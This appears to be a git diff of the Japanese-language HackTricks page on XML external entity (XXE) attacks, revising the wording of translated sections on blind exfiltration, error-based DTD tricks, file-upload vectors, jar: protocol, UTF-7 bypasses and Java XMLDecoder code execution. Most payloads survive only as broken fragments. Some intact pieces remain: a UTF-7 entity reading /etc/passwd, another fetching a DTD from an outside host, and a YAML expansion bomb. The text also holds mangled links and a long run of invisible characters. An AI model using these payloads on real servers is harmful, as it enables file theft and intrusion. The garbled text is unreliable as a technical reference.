+**Java**ベースのアプリケーションでは、次のようなペイロードを使用して、XXEを介してディレクトリの内容をリストアップすることができるかもしれません(ファイルではなくディレクトリを要求するだけです): ```xml ]>&xxe; @@ -87,7 +89,7 @@ XMLは、データの保存と転送を目的としたマークアップ言語 ``` ### SSRF -XXEを使用して、クラウド内でSSRFを悪用することができます。 +XXEを使用して、クラウド内のSSRFを悪用することができます。 ```xml ]> @@ -103,9 +105,9 @@ XXEを使用して、クラウド内でSSRFを悪用することができます ``` ### "Blind" SSRF - データの外部への持ち出し -**この場合、サーバーに新しい悪意のあるペイロードを含むDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信します(複数行のファイルの場合は** _**ftp://**_**を経由して持ち出すこともできます)。この説明は** [**こちらのPortswiggerのラボ**](https://portswigger.net/web-security/xxe/blind)**に基づいています。** +**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合は** _**ftp://**_**を介して持ち出すこともできます)。この説明は** [**こちらのPortswiggerのラボ**](https://portswigger.net/web-security/xxe/blind)**に基づいています。** -悪意のあるDTDには、データを持ち出すための一連の手順が記載されています。 +与えられた悪意のあるDTDでは、データを持ち出すために以下の手順が実行されます: ### 悪意のあるDTDの例: 構造は以下の通りです: @@ -134,8 +136,6 @@ XXEを使用して、クラウド内でSSRFを悪用することができます %xxe;]> 3;1 ``` -このペイロードはXMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。その後、パーサーはDTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに外部流出させます。 - ### エラーベース(外部DTD) **この場合、サーバーに悪意のあるDTDを読み込ませ、ファイルの内容をエラーメッセージ内に表示させます(エラーメッセージを見ることができる場合にのみ有効です)。** [**こちらの例から。**](https://portswigger.net/web-security/xxe/blind) @@ -147,7 +147,7 @@ XXEを使用して、クラウド内でSSRFを悪用することができます 3. `eval`エンティティが呼び出され、`error`エンティティが動的に宣言されます。 4. `error`エンティティの呼び出しにより、存在しないファイルを読み込もうとする試みが行われ、`/etc/passwd`ファイルの内容がファイル名の一部として含まれたエラーメッセージが生成されます。 -悪意のある外部DTDは、以下のXMLで呼び出すことができます: +以下のXMLで悪意のある外部DTDを呼び出すことができます: ```xml %xxe;]> @@ -155,11 +155,11 @@ XXEを使用して、クラウド内でSSRFを悪用することができます ``` ### **エラーベース(system DTD)** -では、**アウトオブバンドインタラクションがブロックされている**(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるでしょうか。 +では、**アウトオブバンドインタラクションがブロックされている**(外部接続が利用できない)場合の盲目的なXXE脆弱性はどうなるのでしょうか。 XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外部の宣言を混在させたときにエラーメッセージを通じて機密データが公開**される可能性があります。この問題により、外部で宣言されたエンティティを内部で再定義することが可能となり、エラーベースのXXE攻撃を実行できます。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティを内部DTD内から再定義することを利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに頼る必要があり、パーシングエラーを誘発して機密情報を明らかにします。 -サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが存在し、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発できます: +サーバーのファイルシステムに`/usr/local/app/schema.dtd`にあるDTDファイルが存在し、`custom_entity`というエンティティが定義されているとします。攻撃者は、次のようにハイブリッドDTDを送信することで、`/etc/passwd`ファイルの内容を明らかにするXMLパーシングエラーを誘発することができます: ```xml @@ -175,10 +175,11 @@ XML言語仕様の抜け穴により、**ドキュメントのDTDが内部と外 以下の手順は、このDTDによって実行されます: - `local_dtd` という名前のXMLパラメータエンティティの定義に、サーバーのファイルシステムにある外部DTDファイルが含まれています。 -- 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすようになっています。 -- `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続により、攻撃で狙われるエラーメッセージが発生します。 +- 外部DTDで元々定義されていた `custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーベースのXXE攻撃](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化するように設計されています。この再定義は、`/etc/passwd` ファイルの内容を公開するためにパースエラーを引き起こすことを目的としています。 +- `local_dtd` エンティティを使用することで、外部DTDが参照され、新しく定義された `custom_entity` が含まれます。これらのアクションの連続により、攻撃によって狙われるエラーメッセージが発生します。 -**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` に `ISOamso` というエンティティが含まれています。 + +**実際の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd` にDTDがあり、`ISOamso` というエンティティが含まれています。 ```xml 3;1 ``` -このテクニックでは、**内部DTDを使用**するため、まず**有効なDTDを見つける必要があります**。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**デフォルトのDTDを検索**するか、システム内の**デフォルトのDTDのリストを取得**して、存在するかどうかを**確認**することができます: +このテクニックでは、**内部DTDを使用するため、まず有効なDTDを見つける必要があります**。これを行うには、サーバーが使用している**OS/ソフトウェアをインストール**して、**デフォルトのDTDを検索**するか、システム内の**デフォルトのDTDのリストを取得**して、存在するかどうかを**確認**できます: ```xml @@ -222,15 +223,15 @@ Testing 0 entities : [] ``` ### Office Open XML パーサーを介した XXE -この攻撃の詳細については、Detectify の[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第2セクションを参照してください。 +この攻撃の詳細については、Detectify の[この素晴らしい投稿](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)の第二セクションを参照してください。 -多くの Web アプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供し、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Web アプリケーションがユーザーが XLSX 形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも1つの XML ファイルを解析する必要があります。 +多くの Web アプリケーションが**Microsoft Office ドキュメントのアップロード機能**を提供しており、その後これらのドキュメントから特定の詳細を抽出します。たとえば、Web アプリケーションがユーザーが XLSX 形式のスプレッドシートをアップロードしてデータをインポートすることを許可するかもしれません。パーサーがスプレッドシートからデータを抽出するためには、少なくとも 1 つの XML ファイルを解析する必要があります。 この脆弱性をテストするには、**XXE ペイロードを含む Microsoft Office ファイルを作成する**必要があります。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。 -ドキュメントを解凍した後、`./unzipped/word/document.xml`にある XML ファイルを好みのテキストエディター(たとえば vim)で開いて編集する必要があります。 XML を編集して、通常は HTTP リクエストで始まる所望の XXE ペイロードを含める必要があります。 +ドキュメントを解凍した後、`./unzipped/word/document.xml` にある XML ファイルを好みのテキストエディター(たとえば vim)で開いて編集する必要があります。XML を編集して、通常は HTTP リクエストから始まる所望の XXE ペイロードを含める必要があります。 -変更された XML 行は、2つのルート XML オブジェクトの間に挿入する必要があります。リクエスト用の監視可能な URL で URL を置換することが重要です。 +変更された XML 行は、2 つのルート XML オブジェクトの間に挿入する必要があります。リクエスト用の監視可能な URL で URL を置換することが重要です。 最後に、ファイルを zip 圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した "unzipped" ディレクトリから、次のコマンドを実行する必要があります: @@ -239,25 +240,24 @@ Testing 0 entities : [] ### Jar: プロトコル -**jar** プロトコルは、**Java アプリケーション内でのみアクセス可能**であり、**PKZIP** アーカイブ(たとえば `.zip`, `.jar` など)内のファイルアクセスを可能にするよう設計されています。これは、ローカルおよびリモートファイルの両方に対応しています。 +**jar** プロトコルは、**Java アプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(たとえば `.zip`、`.jar` など)内のファイルアクセスを可能にするよう設計されており、ローカルおよびリモートファイルの両方に対応しています。 ``` jar:file:///var/myarchive.zip!/file.txt jar:https://download.host.com/myarchive.zip!/file.txt ``` {% hint style="danger" %} -PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に便利**です。[このセクションをチェックして、system DTDファイルを悪用する方法を学びます](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 - +PKZIPファイル内のファイルにアクセスできると、**system DTDファイルを介したXXEの悪用が非常に便利**です。[こちらのセクションをチェックして、system DTDファイルの悪用方法を学びましょう](xxe-xee-xml-external-entity.md#error-based-system-dtd)。 {% endhint %} -PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介して以下の手順で行われます: +PKZIPアーカイブ内のファイルにアクセスするプロセスは、jarプロトコルを介して行われます。その手順は次のとおりです: 1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例:`https://download.website.com/archive.zip`。 2. アーカイブを含むHTTPレスポンスは一時的にシステムに保存され、通常は`/tmp/...`のような場所に保存されます。 -3. アーカイブは展開され、その内容にアクセスできます。 +3. アーカイブは解凍され、その内容にアクセスできます。 4. アーカイブ内の特定のファイル、`file.zip`が読み取られます。 -5. このプロセス中に作成された一時ファイルは、操作の後に削除されます。 +5. このプロセス中に作成された一時ファイルは削除されます。 -このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールは、[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)で利用可能であり、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)が含まれています。 +このプロセスを第2ステップで中断させる興味深いテクニックは、アーカイブファイルを提供する際にサーバー接続を無期限にオープンに保つことです。この目的のために利用できるツールには、Pythonサーバー(`slow_http_server.py`)やJavaサーバー(`slowserver.jar`)などが含まれています。[このリポジトリ](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution)で利用可能です。 ```xml ]> &xxe; @@ -295,7 +295,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` -#### 二次爆破攻撃 +#### 二次の膨張攻撃 ![](<../.gitbook/assets/image (531).png>) @@ -315,21 +315,21 @@ Responder.py -I eth0 -v ### XInclude -サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなど、XML構造に対する直接的な制御が制限されることがよくあります。そのため、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。 +サーバーサイドのXMLドキュメントにクライアントデータを統合する際、バックエンドのSOAPリクエストなどで、XML構造に直接制御が制限されることがよくあり、`DOCTYPE`要素の変更に制限があるため、従来のXXE攻撃が妨げられることがあります。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にするため、解決策を提供します。この方法は、サーバーが生成したXMLドキュメント内のデータの一部しか制御できない場合でも効果的です。 -`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です: +`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図した外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃をどのように構築できるかを簡潔に示した例です。 ```xml productId=&storeId=1 ``` Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info! -### SVG - ファイルのアップロード +### SVG - File Upload -ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理されることがあり、XMLまたはXMLを含むファイル形式の処理方法に脆弱性を悪用する可能性があります。オフィスドキュメント(DOCX)や画像(SVG)などの一般的なファイル形式は、XMLに基づいています。 +特定のアプリケーションにユーザーがアップロードしたファイルは、サーバーで処理されることがあり、XMLやXMLを含むファイル形式の処理方法における脆弱性を悪用する可能性があります。オフィス文書(DOCX)や画像(SVG)などの一般的なファイル形式は、XMLに基づいています。 -ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリはSVG画像もサポート**しているかもしれません。XMLベースの形式であるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。 +ユーザーが**画像をアップロード**すると、これらの画像はサーバーサイドで処理または検証されます。PNGやJPEGなどの形式を期待しているアプリケーションでも、**サーバーの画像処理ライブラリはSVG画像もサポート**しているかもしれません。XMLベースのフォーマットであるSVGは、攻撃者が悪意のあるSVG画像を送信して、サーバーをXXE(XML External Entity)の脆弱性にさらすことができます。 -以下は、悪意のあるSVG画像がシステムファイルを読み取ろうとする例です: +以下に、悪意のあるSVG画像がシステムファイルを読み取ろうとする例が示されています: ```xml ``` @@ -339,15 +339,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec ``` -両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が発生し、堅牢な入力検証とセキュリティ対策の必要性が強調されています。 +両方のインスタンスで、SVG形式が使用され、サーバーソフトウェアのXML処理機能を悪用する攻撃が実行され、堅牢な入力検証とセキュリティ対策の必要性が強調されています。 詳細については、[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) をチェックしてください! -**注:読み取りファイルの最初の行または実行結果の最初の行は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。** +**ファイルアップロード - PDF** -### **PDF - ファイルのアップロード** - -次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法**を学んでください: +次の投稿を読んで、**PDFをアップロードしてXXEを悪用する方法**を学んでください: {% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} [pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md) @@ -371,9 +369,9 @@ Content-Length: 52 bar ``` -### Content-Type: JSON から XEE へ +### Content-Type: JSONからXEEへ -リクエストを変更するには、**Content Type Converter** という Burp 拡張機能を使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます。 +リクエストを変更するには、「**Content Type Converter**」というBurp Extensionを使用できます。[こちら](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html)にこの例があります。 ```xml Content-Type: application/json;charset=UTF-8 @@ -409,11 +407,11 @@ Content-Type: application/xml;charset=UTF-8 ```xml %init; ]> ``` -これは、XMLサーバーが`data://`プロトコルを受け入れる場合にのみ機能します。 - ### UTF-7 -\[**"Encode Recipe**" of cyberchef here ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換できます。 +XMLサーバーが`data://`プロトコルを受け入れる場合のみ機能します。 + +\[**"Encode Recipe**" of cyberchef here ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) でUTF-7に変換します。 ```xml +ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4- @@ -425,17 +423,17 @@ Content-Type: application/xml;charset=UTF-8 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 ``` -### ファイル:/ プロトコルバイパス +### ファイル:/ プロトコル バイパス -WebがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイルにアクセス**できます。 +Web が PHP を使用している場合、`file:/` の代わりに **php wrappers**`php://filter/convert.base64-encode/resource=` を使用して **内部ファイルにアクセス** できます。 -WebがJavaを使用している場合は、[**jar:プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)をチェックできます。 +Web が Java を使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol) をチェックできます。 -### HTMLエンティティ +### HTML エンティティ -[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\ -**HTMLエンティティ**を使用して**エンティティ内にエンコード**し、それを呼び出して**dtdをロード**することができます。\ -使用される**HTMLエンティティ**は**数値**である必要があることに注意してください(この例のように)。 +[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) からのトリック\ +**エンティティ内にエンティティ** を作成し、**html エンティティ** でエンコードしてからそれを呼び出して **dtd を読み込む** ことができます。\ +使用される **HTML エンティティ** は **数値** である必要があることに注意してください(この例のように)。 ```xml %a;%dtd;]> @@ -475,21 +473,19 @@ DTDの例: ``` ## **SOAP - XEE** -### **XML External Entity (XEE) Injection** - -XML External Entity (XEE) Injection is a type of attack that abuses a misconfiguration in the way XML processors parse XML input. By injecting malicious XML content, an attacker can exploit the vulnerable application to disclose confidential data, perform server-side request forgery (SSRF), and more. This technique is commonly used in SOAP web services where XML is used for data exchange. +## SOAP - XEE ```xml %dtd;]>]]> ``` ## XLIFF - XXE -この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)を参考にしています。 +この例は、[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)に触発されました。 XLIFF(XML Localization Interchange File Format)は、ローカライゼーションプロセスでのデータ交換を標準化するために使用されます。これは、主にローカライゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースの形式であり、CAT(Computer-Aided Translation)ツールの共通の交換形式としても使用されます。 ### Blind Request Analysis -以下の内容でサーバーにリクエストが送信されます: +次の内容でサーバーにリクエストが行われます: ```xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -501,14 +497,14 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると指摘されています。 +しかし、このリクエストは内部サーバーエラーを引き起こし、具体的にはマークアップ宣言に問題があると言及しています。 ```json {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` -エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りがあることを示しています。 +エラーが発生したにもかかわらず、Burp Collaborator にヒットが記録され、外部エンティティとのある程度のやり取りが示されます。 -外部バンドデータの流出 -データを流出させるために、修正されたリクエストが送信されます: +外部バンドデータのエクスフィルトレーション +データをエクスフィルトレートするために、修正されたリクエストが送信されます: ``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" @@ -520,17 +516,17 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -このアプローチにより、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの注目すべき制限事項は、Out of Bandテクニックを使用して、/etc/passwdなどの改行文字を含むファイルを取得できないことです。 +このアプローチでは、User AgentがJava 1.8の使用を示していることが明らかになります。このJavaのバージョンの制限事項として、改行文字を含むファイル(例:/etc/passwd)をOut of Bandテクニックを使用して取得できないという点が挙げられます。 エラーベースのデータエクスフィルトレーション -この制限を克服するために、エラーベースのアプローチが採用されます。次のようにDTDファイルが構造化され、ターゲットファイルからデータを含むエラーがトリガーされます: +この制限を克服するために、エラーベースのアプローチが採用されます。次のようにDTDファイルを構造化して、ターゲットファイルからデータを含むエラーをトリガーします: ```xml "> %foo; %xxe; ``` -サーバーはエラーで応答し、重要な点として存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています。 +サーバーはエラーで応答し、重要なことに存在しないファイルを反映しており、サーバーが指定されたファイルにアクセスしようとしていることを示しています: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` @@ -541,7 +537,7 @@ Content-Type: application/x-xliff+xml %foo; %xxe; ``` -この変更により、ファイルの内容が正常に外部流出され、HTTP経由で送信されたエラー出力に反映されます。これは、感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ +この変更により、ファイルの内容が正常に外部に流出し、HTTP経由で送信されたエラー出力に反映されます。これは、感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ ```xml @@ -608,9 +604,9 @@ PHPのbase64フィルターを使用 ``` ## Java XMLDecoder XEE to RCE -XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコード実行権限を瞬時に取得します。 +XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを使用させて**readObject**メソッドを呼び出すことができれば、サーバーでコードの実行権限を瞬時に取得します。 -### Runtime().exec()を使用 +### Runtime().exec()の使用 ```xml @@ -689,14 +685,14 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
-htARTE (HackTricks AWS Red Team Expert) で **ゼロからヒーローまでのAWSハッキングを学ぶ** +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)! -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricks で企業を宣伝したい**、または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする -* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する